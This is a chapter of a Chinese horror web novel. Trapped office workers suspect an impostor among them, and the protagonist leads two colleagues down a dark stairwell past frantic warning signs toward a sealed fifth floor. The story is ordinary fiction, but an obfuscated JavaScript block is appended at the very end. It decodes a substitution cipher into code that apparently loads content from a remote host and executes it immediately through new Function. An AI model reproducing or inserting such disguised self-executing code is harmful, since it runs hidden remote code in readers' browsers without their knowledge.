“……啊?什么剩几人……”
房间内,邱雨菲因为主管的问题而茫然:“不是五个吗?”
“你确定?”袁嘉怡反问。
“……”
有一说一,邱雨菲最怕她反问,因为一旦出现这种语气,就意味着自己的方案肯定要返修。
这种语气给她留下的心理阴影太深,以至于原本肯定的答案都开始动摇,过了会儿,才听她小声道:“那你希望我回答几个啊?”
“我不是在挑你错……”袁嘉怡一时无奈,不由反思了下自己平时是不是太凶了。
“是这样的,我总觉得,我们现在的人数不太对。”袁嘉怡看了眼门外,压低声音,“本来只是隐隐有种感觉,可我刚仔细琢磨了下,越想越觉得,应该是多了。”
“啊?”邱雨菲诧异,“多了谁啊?”
“就是想不到啊。”嘉怡叹气,“所有人都是认识的。我现在唯一确定的,就你和小许肯定是真的。”
邱雨菲下班前和她打过招呼,提到过和许冥一起走。她当时还嘱咐了句路上小心,聊天记录都还在。
可别的人,就没这么明确的时间戳了。
“是吗?”经她这么一提,邱雨菲也突然觉得有些不对了。那种感觉,就像是刚进公司前,被许冥指着去看门牌一样——别人不提,完全没觉得有问题,可一指出来,就觉得哪儿都不对劲。
“别人我不清楚,但小王肯定是比我晚走的。”又思索了片刻,邱雨菲笃定道,“他今天不小心把财务开废的花票扔掉了,我走的时候他还在翻垃圾桶。”
袁嘉怡的身份她也很确定。她临下班前刚给对方传了份稿子。
唯一记忆模糊的,只有摄影部。
可以确定的是,当时摄影部留下的,绝对不止一人。
“我也记着是这样。”嘉怡点头,“要是有排班表就好了。看一下今天外出拍宏强的都有谁,剩下的应该就是正确的人……”
说到这儿,她忽似意识到什么,脸色瞬变。
另一边,邱雨菲显然也想到了同样的事。
“主管,不对啊。”她掰着指头给人算,“我们摄影部一共四个人,每次外出拍摄都是去两个,也就是说现在多了一个……”
“而且多的那个,还恰好就是该在宏强拍摄的人?”
她顿觉鸡皮疙瘩起来了:“那这算是什么说法?该不会是有同事在宏强出事,然后把我们都……拉进来了吧?”
袁嘉怡:……
问得好。我也想知道。
同一时间,卫生间内。
许冥坐在马桶上,正在消化刚刚获得的信息。
包括但不限于什么规则入侵、“白痴”的定义……都是没听过的词。
许冥不解。她只是脱离了那个世界四年多而已,就这么落后于版本了吗?这都什么花里胡哨的。
尚在思索,忽听脑海里那声音又啧了一声,许冥抬眸:“干嘛?”
“不是啧你。是你上面。有人趴在隔间墙上看你。”那声音道。
许冥:……?
声音:“阿飘,血刺呼啦的那种。估计看你在卫生间待太久,过来给你警告了。”
许冥:……
“看什么看,没见过带薪蹲坑啊。”没好气地抬头冲空气喊了一句,她复垂下眼,灵光忽然一闪。
“等一下,你能‘看’到诡异的东西。”她在意识里道,“那假如是装成活人的东西呢?你能分辨出来吗?”
声音:“……啊?”
“就类似白骨精那种。”许冥举例,“你能看出来吗?”
按袁嘉怡的说法,他们一起进入宏强的有五个人,可许冥总觉得这人数不对。似乎是比她印象里多。
虽然只是隐约的感觉,但在这种地方,多留个心眼总没错。
那声音听完,却是低低笑了下:“不好意思,这还真不好说。”
“有的死人,会假装自己是活人。有的死人,不知道自己是死人。
“前者或许还有分辨的可能,后者,你真别指望我。”
许冥:“……”
“不过你要想搞清这种事,我倒可以额外送你两条提示。”略一停顿,却又听那声音道,“第一条,死人,是很容易丢东西的。”
“第二条,被死人弄丢的东西,往往是会聚集到一起的。”
*
又三分钟后。
许冥终于离开隔间,回到了会议室。
因为担心鬼故事里常见的“小红小蓝”戏码上演,邱雨菲还特意和她约定了一个极为拗口的暗号。许冥耐着性子陪她对完暗号,又就着那信的事讨论了会儿,这才动身回到水獭所在的房间。
一进门,惊讶地发现,黑仔和老李居然还在怄气。
黑仔是个心理上的东北大汉,个头不高,但从不怕事,为人直爽大方;老李身材有些胖,戴着眼镜,是那种看着就很和气的人。
所以才让人诧异,这样性格的俩人,居然能吵到现在。
“……据说是刚才闹了矛盾,连带着翻起旧账了。”小王偷偷给她们仨科普,“档案室里,他俩不知冒犯了什么,搞得房间里出鬼了。老李一个人跑出去,把黑仔关屋里,差点没出来。”
“我说了那门不是我关的。”老李无奈转头,“它是自己合上的。”
“合上还是你堵上的?当我没看见门口那椅子?”黑仔一说这事又来火,“还有,你敢说水獭去做ppt不是你怂恿的?之前没找到《守则》前,你还想劝我把工牌摘了,说这样说不定就能出去……有意思,觉得能出去你自己怎么不试啊?!”
“我说过了,椅子是我搬来砸门的,只是正好你自己从里面冲出来了。水獭的法子是他想到,大家一致通过的,怎么就变成我怂恿的了?”老李推推眼镜,脸孔都涨得通红,“还有摘工牌,我当时就是提个想法,不是针对你……倒是你,怎么一直针对我啊?”
黑仔闻言,眉毛一竖,眼看又要动怒。许冥掏出手机看了眼时间,忍不住抬手打断。
“不好意思,但甩锅可以放到赛后环节吗?再吵下去阿飘都要围过来吃瓜了。”
她说着,举起了那封写满了蓝字的信,“而且能不能先讨论下正事?”
“拜托,我们的时间很赶。”
其余人:“……”
转眼,又十分钟后。
“老实说,当时听你说‘时间很赶’的时候,我是很赞同的。毕竟这种鬼地方,多待一秒都是折磨,与其吵架,不如好好想想出去的办法。”
宏强公司外,幽暗的走道内。
老李手中手电摇晃,声音也有点摇晃:“但你这是不是也太赶了?!”
三分钟同步完当前信息,两分钟告知自己打算趁着午休去五楼踩点的打算,一分钟反驳所有反对意见,两分钟挑选和自己一起下楼的队友。
等老李反应过来时,人都已经跟着许冥走出公司了。
“没办法,都说了赶时间嘛。”许冥语气淡淡,“根据当前情报,我们能够利用的,只有午休的两个小时,而我们汇合时,已经是十二点零五分了。等慢慢协商讨论完,午休都过了。”
……也是。
“其实我更好奇的,是你的人选。”一旁袁嘉怡轻声道,下意识看了眼前面的老李,“这个配置,说实话我真没想到。”
她和邱雨菲比别人更早看到信,也最早知道许冥准备利用午休去五楼的事。所以她想当然地以为,许冥会找她和邱雨菲一起,而且这样一来,也能省去对其他人解释的工夫;谁能想到,许冥最终找上的,却是她和老李。
许冥的理由却是很充分:
“雨菲肯定得留在上面,我和她最熟,如果真留下什么暗号,她是最有可能猜出来的那个。水獭还没恢复力气,跑不动,小王不靠谱。至于黑仔……不知为啥,我不是很喜欢他。”
她看了眼旁边两人:“其实五楼下面未必比公司安全。之所以想多找点人一起,也是想万一出了什么事,至少能回去一两个报信。
“所以谢谢你们愿意陪我出来。”
“瞧你说的,什么叫陪你。”袁嘉怡摇头,“都是被困在这儿的人,谁还能独善其身不成?我是在对自己的命负责,不是对你负责,别想太多。”
“就是。”老李点头,“这又不是你一个人的事。只要能出去,让我做什么都愿意。”
“行,那么虚假的社交客套到此结束。”许冥耸耸肩,将手包往肩上提了提,倏然停下脚步。
惨白的手电光芒,正好照见一扇虚掩着的门。
通往逃生楼道的门。
*
逃生通道内,也是没有灯的。
因此,在摸到楼梯后,三人依旧只能用手机充当照明,小心顺着台阶下去。
因为走得太慢,照明的区域又有限,明明不长的楼梯,竟给人一种无穷无尽的感觉。
“千万记得,到了六楼后要数台阶啊。”袁嘉怡小声提醒道。
“知道。现在才到八楼呢。”许冥牵着她往下走了几步,总算又踩到了平实的地面上——这是位于九楼和八楼之间的楼道。
楼道的墙壁上,还贴着纸张,三人凑上去一看,只见上面是整齐的印刷字体,生怕他们看不清似的,大写加粗:
【请注意,您现在所在的位置为八楼。
【应物业要求,本楼道五楼以下的区域暂时封闭,不予通行。如需下楼,请走电梯。】
袁嘉怡:……
袁嘉怡:“这鬼地方还有电梯?”
许冥:“听它鬼扯。电梯要是好使我们早走了。”
语毕,继续往下走。等摸到七层的楼道,墙上又是新的通知。
这次用的红色字体,却不再是印刷体,而是纯正的手写,似是写得匆忙,笔迹还有些凌乱——而更凌乱的,却是上面的内容:
【如果你能看到这张纸,说明一切还有机会
【不要迟疑,赶紧转头往回走!
【蓝色是谎言,你被骗了,不要再往前了!
【如果你是被人带到这里来的,赶紧甩开他,不管他说什么都别听!
【静下心来,好好想想,他真是你认识的那个人吗?】
“……”感觉到旁边二人的脚步有了明显的迟疑,许冥索性直接停下脚步,转头看着他们。
“如何,还要继续往前吗?
“如果拿不定主意的话,你们在这儿等也行。”
又是片刻的沉默。令她有些意外的是,最先拿定主意的,居然是老李。
“继续往前吧。”他用汗湿的手推了下眼镜,“我还是那句话,为了出去,我什么都愿意做。”
“……”袁嘉怡视线在他们中间转来转去,终究也是一咬牙,点了点头。
于是三人继续向下。
到了六楼,许冥习惯性地先扫了眼墙壁,没再看到什么通知书,一时竟还有些失落。
然而随着手电光芒的转动,她很快就发现,自己失落得太早了。
墙上是没有纸,但它有很多字。
红色的字,很大,很凌乱,全是感叹号,乱七八糟地横在墙面和地板上,像是被强塞进楼道里的嘶哑尖叫。
【回去!快回去!】
【给我滚回去!】
【前行者死!】
【别再往前了,快跑!】
【快逃,你被骗了!】
不仅如此——
在六楼通往五楼的楼梯口,甚至还拉上了警戒线。警戒线的前面,立着块足有一人高的立牌。
立牌是很可爱的卡通形象,一个抱着对话框的笑脸熊。然而那写在对话框里的字,却是每个笔划都透出冰冷:
【警告!前方因故封闭,请勿继续前行】
【若继续前行,将视为您自愿放弃我们对您的保护,我们将不再对您的生命负责。】
……
“这算什么,免责声明?”袁嘉怡忍不住低声道,“它什么意思?”
理智上,她知道宏强不是一个善意的地方,然而一路过来所看到的种种措辞,却很难不让她怀疑,自己之前是否误判了什么——
许冥对此的理解,倒是十分简单粗暴。
“意思就是,它急了。”
她说着,转动手机,小心抬腿。
径自从面前的警戒线上跨了过去。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();